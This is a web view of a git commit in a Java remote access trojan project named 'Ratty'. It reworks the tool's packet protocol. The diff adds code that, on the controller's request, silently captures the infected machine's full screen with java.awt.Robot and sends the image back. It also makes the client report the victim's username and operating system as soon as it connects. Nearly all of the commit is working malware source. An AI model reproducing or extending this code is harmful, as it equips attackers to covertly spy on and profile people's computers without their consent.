Browse Source

Major changes

Started to rework the request packets
master
Sogomn 9 years ago
parent
commit
eff4bb5515
  1. 4
      Ratty/src/de/sogomn/rat/ActiveClient.java
  2. 37
      Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
  3. 86
      Ratty/src/de/sogomn/rat/packet/ImagePacket.java
  4. 20
      Ratty/src/de/sogomn/rat/packet/InformationPacket.java
  5. 9
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  6. 122
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  7. 33
      Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java
  8. 46
      Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java
  9. 8
      Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

4
Ratty/src/de/sogomn/rat/ActiveClient.java

@ -82,7 +82,9 @@ public final class ActiveClient extends TCPConnection {
reader = null;
}
packetQueue.clear();
if (packetQueue != null) {
packetQueue.clear();
}
if (observer != null) {
observer.disconnected(this);

37
Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java

@ -0,0 +1,37 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
public abstract class AbstractPingPongPacket implements IPacket {
private byte type;
public static final byte REQUEST = 0;
public static final byte DATA = 1;
public AbstractPingPongPacket() {
type = REQUEST;
}
protected abstract void executeRequest(final ActiveClient client);
protected abstract void executeData(final ActiveClient client);
@Override
public final void execute(final ActiveClient client) {
if (type == REQUEST) {
type = DATA;
executeRequest(client);
} else if (type == DATA) {
type = REQUEST;
executeData(client);
}
}
public final byte getType() {
return type;
}
}

86
Ratty/src/de/sogomn/rat/packet/ImagePacket.java

@ -1,86 +0,0 @@
package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.imageio.ImageIO;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient;
public final class ImagePacket implements IPacket {
private BufferedImage image;
private String format;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 500;
private static final int SCREEN_HEIGHT = 500;
public ImagePacket(final BufferedImage image, final String format) {
this.image = image;
this.format = format;
}
public ImagePacket(final BufferedImage image) {
this(image, "");
}
public ImagePacket() {
this(NO_IMAGE);
}
@Override
public void send(final ActiveClient client) {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
ImageIO.write(image, format, out);
} catch (final IOException ex) {
ex.printStackTrace();
}
final byte[] data = out.toByteArray();
client.writeInt(data.length);
client.write(data);
}
@Override
public void receive(final ActiveClient client) {
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final ByteArrayInputStream in = new ByteArrayInputStream(data);
try {
image = ImageIO.read(in);
} catch (final IOException ex) {
image = NO_IMAGE;
ex.printStackTrace();
}
}
@Override
public void execute(final ActiveClient client) {
final int width = image.getWidth();
final int height = image.getHeight();
final Screen screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, width, height, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen.show();
screen.redraw();
}
}

20
Ratty/src/de/sogomn/rat/packet/InformationPacket.java

@ -1,19 +1,29 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.Ratty;
public final class InformationPacket implements IPacket {
private String name, os, version;
private byte type;
private static final byte REQUEST = 0;
private static final byte DATA = 1;
public InformationPacket(final String name, final String os, final String version) {
this.name = name;
this.os = os;
this.version = version;
type = DATA;
}
public InformationPacket() {
this("", "", "");
type = REQUEST;
}
@Override
@ -21,6 +31,7 @@ public final class InformationPacket implements IPacket {
client.writeUTF(name);
client.writeUTF(os);
client.writeUTF(version);
client.writeByte(type);
}
@Override
@ -28,11 +39,18 @@ public final class InformationPacket implements IPacket {
name = client.readUTF();
os = client.readUTF();
version = client.readUTF();
type = client.readByte();
}
@Override
public void execute(final ActiveClient client) {
//...
if (type == REQUEST) {
final String name = System.getProperty("user.name");
final String os = System.getProperty("os.name");
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION);
client.addPacket(packet);
}
}
public String getName() {

9
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -1,18 +1,13 @@
package de.sogomn.rat.packet;
import de.sogomn.rat.packet.request.InformationRequestPacket;
import de.sogomn.rat.packet.request.ScreenshotRequestPacket;
public enum PacketType {
POPUP(1, PopupPacket.class),
IMAGE(2, ImagePacket.class),
SCREENSHOT(2, ScreenshotPacket.class),
KEY_EVENT(3, KeyEventPacket.class),
FREE(4, FreePacket.class),
INFORMATION(5, InformationPacket.class),
SCREENSHOT(6, ScreenshotRequestPacket.class),
INFORMATION_REQUEST(7, InformationRequestPacket.class);
INFORMATION(5, InformationPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

122
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -0,0 +1,122 @@
package de.sogomn.rat.packet;
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import javax.imageio.ImageIO;
import de.sogomn.engine.Screen;
import de.sogomn.engine.Screen.ResizeBehavior;
import de.sogomn.rat.ActiveClient;
public final class ScreenshotPacket implements IPacket {
private BufferedImage image;
private byte type;
private static final byte REQUEST = 0;
private static final byte DATA = 1;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 500;
private static final int SCREEN_HEIGHT = 500;
public ScreenshotPacket(final BufferedImage image) {
this.image = image;
type = DATA;
}
public ScreenshotPacket() {
this(NO_IMAGE);
type = REQUEST;
}
@Override
public void send(final ActiveClient client) {
client.writeByte(type);
if (type == REQUEST) {
return;
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
try {
ImageIO.write(image, "PNG", out);
} catch (final IOException ex) {
ex.printStackTrace();
}
final byte[] data = out.toByteArray();
client.writeInt(data.length);
client.write(data);
}
@Override
public void receive(final ActiveClient client) {
type = client.readByte();
if (type == REQUEST) {
return;
}
final int length = client.readInt();
final byte[] data = new byte[length];
client.read(data);
final ByteArrayInputStream in = new ByteArrayInputStream(data);
try {
image = ImageIO.read(in);
} catch (final IOException ex) {
image = NO_IMAGE;
ex.printStackTrace();
}
}
@Override
public void execute(final ActiveClient client) {
if (type == REQUEST) {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
image = robot.createScreenCapture(screenRect);
type = DATA;
} catch (final AWTException ex) {
ex.printStackTrace();
}
client.addPacket(this);
} else if (type == DATA) {
final int width = image.getWidth();
final int height = image.getHeight();
final Screen screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, width, height, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
screen.show();
screen.redraw();
}
}
}

33
Ratty/src/de/sogomn/rat/packet/request/InformationRequestPacket.java

@ -1,33 +0,0 @@
package de.sogomn.rat.packet.request;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.Ratty;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
public final class InformationRequestPacket implements IPacket {
public InformationRequestPacket() {
//...
}
@Override
public void send(final ActiveClient client) {
//...
}
@Override
public void receive(final ActiveClient client) {
//...
}
@Override
public void execute(final ActiveClient client) {
final String name = System.getProperty("user.name");
final String os = System.getProperty("os.name");
final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION);
client.addPacket(packet);
}
}

46
Ratty/src/de/sogomn/rat/packet/request/ScreenshotRequestPacket.java

@ -1,46 +0,0 @@
package de.sogomn.rat.packet.request;
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.ImagePacket;
public final class ScreenshotRequestPacket implements IPacket {
public ScreenshotRequestPacket() {
//...
}
@Override
public void send(final ActiveClient client) {
//...
}
@Override
public void receive(final ActiveClient client) {
//...
}
@Override
public void execute(final ActiveClient client) {
final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
final Rectangle screenRect = new Rectangle(screen);
try {
final Robot robot = new Robot();
final BufferedImage image = robot.createScreenCapture(screenRect);
final ImagePacket packet = new ImagePacket(image, "PNG");
client.addPacket(packet);
} catch (final AWTException ex) {
ex.printStackTrace();
}
}
}

8
Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

@ -8,8 +8,7 @@ import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.request.InformationRequestPacket;
import de.sogomn.rat.packet.request.ScreenshotRequestPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
@ -48,14 +47,13 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
return null;
}
/*HARDCODED ATM*/
private IPacket getPacket(final String actionCommand) {
if (actionCommand == RattyGui.POPUP) {
return PopupPacket.create();
} else if (actionCommand == RattyGui.FREE) {
return new FreePacket();
} else if (actionCommand == RattyGui.SCREENSHOT) {
return new ScreenshotRequestPacket();
return new ScreenshotPacket();
}
return null;
@ -106,7 +104,7 @@ public final class ServerGuiController implements IServerObserver, IClientObserv
public void addClient(final ActiveClient client) {
final long id = nextId++;
final ServerClient serverClient = new ServerClient(id, client);
final InformationRequestPacket packet = new InformationRequestPacket();
final InformationPacket packet = new InformationPacket();
client.setObserver(this);
clients.add(serverClient);

Loading…
Cancel
Save